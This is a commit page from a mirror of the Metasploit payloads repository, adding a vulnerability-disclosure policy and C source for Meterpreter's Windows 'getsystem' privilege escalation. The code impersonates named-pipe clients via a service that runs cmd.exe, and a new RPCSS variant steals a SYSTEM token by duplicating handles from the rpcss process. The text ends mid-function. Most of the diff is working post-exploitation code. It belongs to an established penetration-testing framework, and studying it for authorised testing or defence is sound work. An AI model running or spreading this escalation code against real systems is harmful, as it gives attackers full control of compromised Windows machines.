mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Revert "Undo commit for #441"
This reverts commit8361d5367a
, reversing changes made todb3d5f0896
.
This commit is contained in:
parent
c394680f87
commit
8e3933bed7
35
.github/SECURITY.md
vendored
Normal file
35
.github/SECURITY.md
vendored
Normal file
@ -0,0 +1,35 @@
|
||||
# Reporting security issues
|
||||
|
||||
Thanks for your interest in making Meterpreter more secure! If you feel
|
||||
that you have found a security issue involving Metasploit, Meterpreter,
|
||||
Recog, or any other Rapid7 open source project, you are welcome to let
|
||||
us know in the way that's most comfortable for you.
|
||||
|
||||
## Via ZenDesk
|
||||
|
||||
You can click on the big blue button at [Rapid7's Vulnerability
|
||||
Disclosure][r7-vulns] page, which will get you to our general
|
||||
vulnerability reporting system. While this does require a (free) ZenDesk
|
||||
account to use, you'll get regular updates on your issue as our software
|
||||
support teams work through it. As it happens [that page][r7-vulns] also
|
||||
will tell you what to expect when it comes to reporting vulns, how fast
|
||||
we'll fix and respond, and all the rest, so it's a pretty good read
|
||||
regardless.
|
||||
|
||||
## Via email
|
||||
|
||||
If you're more of a traditionalist, you can email your finding to
|
||||
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
|
||||
encrypt your messages, but we certainly don't mind cleartext reports
|
||||
over email.
|
||||
|
||||
## NOT via GitHub Issues
|
||||
|
||||
Please don't! Disclosing security vulnerabilities to public bug trackers
|
||||
is kind of mean, even when it's well-intentioned, since you end up
|
||||
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
|
||||
you didn't!
|
||||
|
||||
[r7-vulns]:https://www.rapid7.com/security/disclosure/
|
||||
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
|
||||
|
1
c/meterpreter/source/common/common_command_ids.h
Normal file → Executable file
1
c/meterpreter/source/common/common_command_ids.h
Normal file → Executable file
@ -55,6 +55,7 @@
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
||||
#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
|
||||
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
||||
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
||||
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
||||
|
@ -5,6 +5,7 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
#include "namedpipe_rpcss.h"
|
||||
#include "tokendup.h"
|
||||
|
||||
/*!
|
||||
@ -105,6 +106,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
|
||||
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
|
||||
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( response )
|
||||
|
@ -7,9 +7,10 @@
|
||||
|
||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
|
||||
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||
|
||||
|
@ -3,6 +3,26 @@
|
||||
#include "namedpipe.h"
|
||||
#include "service.h"
|
||||
|
||||
/*
|
||||
* A post-impersonation callback that simply updates the meterpreter token to the
|
||||
* current thread token. This is used by the standard service-based technique.
|
||||
*/
|
||||
DWORD post_callback_use_self(Remote * remote)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
// get a handle to this threads token
|
||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
||||
dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed");
|
||||
return GetLastError();
|
||||
}
|
||||
|
||||
// now we can set the meterpreters thread token to that of our system
|
||||
// token so all subsequent meterpreter threads will use this token.
|
||||
met_api->thread.update_token(remote, hToken);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
|
||||
* the first client which connects to it.
|
||||
@ -10,35 +30,35 @@
|
||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HANDLE hServerPipe = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hPipe = NULL;
|
||||
HANDLE hSem = NULL;
|
||||
char * cpServicePipe = NULL;
|
||||
Remote * remote = NULL;
|
||||
char * cpPipeName = NULL;
|
||||
BYTE bMessage[128] = {0};
|
||||
DWORD dwBytes = 0;
|
||||
BOOL bImpersonated = FALSE;
|
||||
PPRIV_POST_IMPERSONATION pPostImpersonation = NULL;
|
||||
|
||||
do {
|
||||
if (!thread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
cpServicePipe = (char *)thread->parameter1;
|
||||
remote = (Remote *)thread->parameter2;
|
||||
hSem = (HANDLE)thread->parameter3;
|
||||
cpPipeName = (char *)thread->parameter1;
|
||||
hSem = (HANDLE)thread->parameter2;
|
||||
pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3;
|
||||
|
||||
if (!cpServicePipe || !remote) {
|
||||
if (!cpPipeName) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
||||
ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
|
||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
|
||||
|
||||
// create the named pipe for the client service to connect to
|
||||
hServerPipe = CreateNamedPipe(cpServicePipe,
|
||||
hPipe = CreateNamedPipe(cpPipeName,
|
||||
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
||||
|
||||
if (!hServerPipe) {
|
||||
if (!hPipe) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
||||
}
|
||||
|
||||
@ -57,46 +77,46 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
}
|
||||
|
||||
// wait for a client to connect to our named pipe...
|
||||
if (!ConnectNamedPipe(hServerPipe, NULL)) {
|
||||
if (!ConnectNamedPipe(hPipe, NULL)) {
|
||||
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
||||
continue;
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] pipethread. got client conn.");
|
||||
dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
|
||||
|
||||
// we can't impersonate a client untill we have performed a read on the pipe...
|
||||
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||
// we can't impersonate a client until we have performed a read on the pipe...
|
||||
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||
DisconnectNamedPipe(hPipe);
|
||||
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
||||
}
|
||||
|
||||
// impersonate the client!
|
||||
if (!ImpersonateNamedPipeClient(hServerPipe)) {
|
||||
bImpersonated = ImpersonateNamedPipeClient(hPipe);
|
||||
DisconnectNamedPipe(hPipe);
|
||||
if (!bImpersonated) {
|
||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
||||
}
|
||||
|
||||
// get a handle to this threads token
|
||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
|
||||
if (pPostImpersonation) {
|
||||
dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
|
||||
dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
|
||||
if (dwResult != ERROR_SUCCESS) {
|
||||
RevertToSelf();
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
|
||||
}
|
||||
|
||||
// now we can set the meterpreters thread token to that of our system
|
||||
// token so all subsequent meterpreter threads will use this token.
|
||||
met_api->thread.update_token(remote, hToken);
|
||||
|
||||
}
|
||||
else {
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (hServerPipe) {
|
||||
DisconnectNamedPipe(hServerPipe);
|
||||
CLOSE_HANDLE(hServerPipe);
|
||||
if (hPipe) {
|
||||
CLOSE_HANDLE(hPipe);
|
||||
}
|
||||
|
||||
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
@ -116,6 +136,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
char cServiceArgs[MAX_PATH] = {0};
|
||||
char cServicePipe[MAX_PATH] = {0};
|
||||
OSVERSIONINFO os = {0};
|
||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||
|
||||
do {
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
@ -126,7 +147,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
|
||||
// filter out Windows NT4
|
||||
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||
SetLastError(ERROR_ACCESS_DENIED);
|
||||
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
||||
}
|
||||
|
||||
@ -143,7 +164,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
PostImpersonation.pCallback = post_callback_use_self;
|
||||
PostImpersonation.pCallbackParam = remote;
|
||||
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
@ -154,7 +178,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
//wait for the thread to create the pipe(if it times out terminate)
|
||||
// wait for the thread to create the pipe, if it times out terminate
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||
@ -164,14 +188,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
||||
// start the elevator service (if it doesn't start first time we need to create it and then start it).
|
||||
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
||||
dprintf("[ELEVATE] service starting failed, attempting to create");
|
||||
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
||||
}
|
||||
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
||||
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||
// a valid service and it will never signal to the service manager that is is a running service.
|
||||
service_start(cpServiceName);
|
||||
}
|
||||
@ -230,6 +254,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
DWORD dwBytes = 0;
|
||||
DWORD dwTotal = 0;
|
||||
DWORD dwServiceLength = 0;
|
||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||
|
||||
do
|
||||
{
|
||||
@ -279,7 +304,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
PostImpersonation.pCallback = post_callback_use_self;
|
||||
PostImpersonation.pCallbackParam = remote;
|
||||
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
@ -292,9 +320,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
|
||||
//wait for the thread to create the pipe(if it times out terminate)
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
} else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
@ -1,7 +1,14 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||
|
||||
typedef DWORD(*PostImpersonationCallback)(LPVOID);
|
||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread);
|
||||
DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet);
|
||||
DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet);
|
||||
|
||||
typedef struct _PRIV_POST_IMPERSONATION {
|
||||
PostImpersonationCallback pCallback;
|
||||
PVOID pCallbackParam;
|
||||
} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION;
|
||||
|
||||
#endif
|
||||
|
395
c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
Executable file
395
c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
Executable file
@ -0,0 +1,395 @@
|
||||
#include <winternl.h>
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
#include "service.h"
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
||||
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
|
||||
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectTypeInformation = 2
|
||||
} OBJECT_INFORMATION_CLASS;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessHandleInformation = 51,
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
|
||||
{
|
||||
HANDLE HandleValue;
|
||||
ULONG_PTR HandleCount;
|
||||
ULONG_PTR PointerCount;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG ObjectTypeIndex;
|
||||
ULONG HandleAttributes;
|
||||
ULONG Reserved;
|
||||
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
||||
{
|
||||
ULONG_PTR NumberOfHandles;
|
||||
ULONG_PTR Reserved;
|
||||
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
|
||||
|
||||
typedef struct _OBJECT_TYPE_INFORMATION
|
||||
{
|
||||
_UNICODE_STRING TypeName;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
ULONG TotalPagedPoolUsage;
|
||||
ULONG TotalNonPagedPoolUsage;
|
||||
ULONG TotalNamePoolUsage;
|
||||
ULONG TotalHandleTableUsage;
|
||||
ULONG HighWaterNumberOfObjects;
|
||||
ULONG HighWaterNumberOfHandles;
|
||||
ULONG HighWaterPagedPoolUsage;
|
||||
ULONG HighWaterNonPagedPoolUsage;
|
||||
ULONG HighWaterNamePoolUsage;
|
||||
ULONG HighWaterHandleTableUsage;
|
||||
ULONG InvalidAttributes;
|
||||
GENERIC_MAPPING GenericMapping;
|
||||
ULONG ValidAccessMask;
|
||||
BOOLEAN SecurityRequired;
|
||||
BOOLEAN MaintainHandleCount;
|
||||
UCHAR TypeIndex;
|
||||
CHAR ReservedByte;
|
||||
ULONG PoolType;
|
||||
ULONG DefaultPagedPoolCharge;
|
||||
ULONG DefaultNonPagedPoolCharge;
|
||||
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
||||
|
||||
/*
|
||||
* Compare two LUID values and return true if they are the same.
|
||||
*/
|
||||
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
|
||||
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the object type index for token objects. The index changes between versions and using it
|
||||
* simplifies the searching process.
|
||||
*/
|
||||
DWORD get_token_object_index(PULONG TokenIndex)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
NTSTATUS status;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUERYOBJECT pNtQueryObject = NULL;
|
||||
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
||||
POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL;
|
||||
ULONG ulLength = 0;
|
||||
|
||||
do {
|
||||
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed");
|
||||
}
|
||||
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
|
||||
}
|
||||
|
||||
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
|
||||
if (pNtQueryObject == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
|
||||
}
|
||||
|
||||
status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength);
|
||||
if (NT_SUCCESS(status)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status));
|
||||
}
|
||||
|
||||
pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
||||
if (pObjTypeInfo == NULL) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status));
|
||||
}
|
||||
|
||||
*TokenIndex = pObjTypeInfo->TypeIndex;
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (pObjTypeInfo) {
|
||||
HeapFree(GetProcessHeap(), 0, pObjTypeInfo);
|
||||
}
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
|
||||
{
|
||||
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;;
|
||||
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
|
||||
ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
|
||||
ULONG tokenIndex;
|
||||
ULONG i;
|
||||
ULONG ulMaxPrivCount = 0;
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hBestToken = NULL;
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
LUID systemLuid = SYSTEM_LUID;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
|
||||
|
||||
do {
|
||||
if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR);
|
||||
}
|
||||
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
|
||||
}
|
||||
|
||||
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
|
||||
if (pNtQueryInformationProcess == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
|
||||
}
|
||||
|
||||
do {
|
||||
ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16);
|
||||
if (pHandleInfo) {
|
||||
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
||||
pHandleInfo = NULL;
|
||||
}
|
||||
pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
||||
if (pHandleInfo == NULL) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength);
|
||||
if (NT_SUCCESS(status)) {
|
||||
break;
|
||||
}
|
||||
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
continue;
|
||||
}
|
||||
dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
|
||||
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR);
|
||||
}
|
||||
|
||||
for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
||||
if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
|
||||
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed");
|
||||
}
|
||||
|
||||
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) {
|
||||
CloseHandle(hToken);
|
||||
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed");
|
||||
}
|
||||
|
||||
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
|
||||
CloseHandle(hToken);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
|
||||
CloseHandle(hToken);
|
||||
continue;
|
||||
}
|
||||
|
||||
// newer versions of windows have more defined privileges so update the best token to the one with the most
|
||||
ulMaxPrivCount = tokenStats.PrivilegeCount;
|
||||
if (hBestToken) {
|
||||
CloseHandle(hBestToken);
|
||||
}
|
||||
hBestToken = hToken;
|
||||
}
|
||||
} while (0);
|
||||
|
||||
if (hBestToken) {
|
||||
*phToken = hBestToken;
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
if (pHandleInfo) {
|
||||
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
||||
}
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD post_callback_use_rpcss(Remote* remote)
|
||||
{
|
||||
SC_HANDLE hScm = NULL;
|
||||
SC_HANDLE hSvc = NULL;
|
||||
HANDLE hProc = NULL;
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
SERVICE_STATUS_PROCESS procInfo;
|
||||
DWORD dwBytes;
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
do {
|
||||
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (hScm == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
|
||||
}
|
||||
|
||||
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
|
||||
if (hSvc == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
|
||||
}
|
||||
|
||||
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
|
||||
}
|
||||
|
||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
|
||||
if (hProc == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
|
||||
}
|
||||
|
||||
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
|
||||
}
|
||||
|
||||
if (!SetThreadToken(&hThread, hToken)) {
|
||||
CloseHandle(hToken);
|
||||
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
|
||||
met_api->thread.update_token(remote, hToken);
|
||||
return ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (hProc) {
|
||||
CloseHandle(hProc);
|
||||
hProc = NULL;
|
||||
}
|
||||
|
||||
if (hSvc) {
|
||||
CloseServiceHandle(hSvc);
|
||||
hSvc = NULL;
|
||||
}
|
||||
|
||||
if (hScm) {
|
||||
CloseServiceHandle(hScm);
|
||||
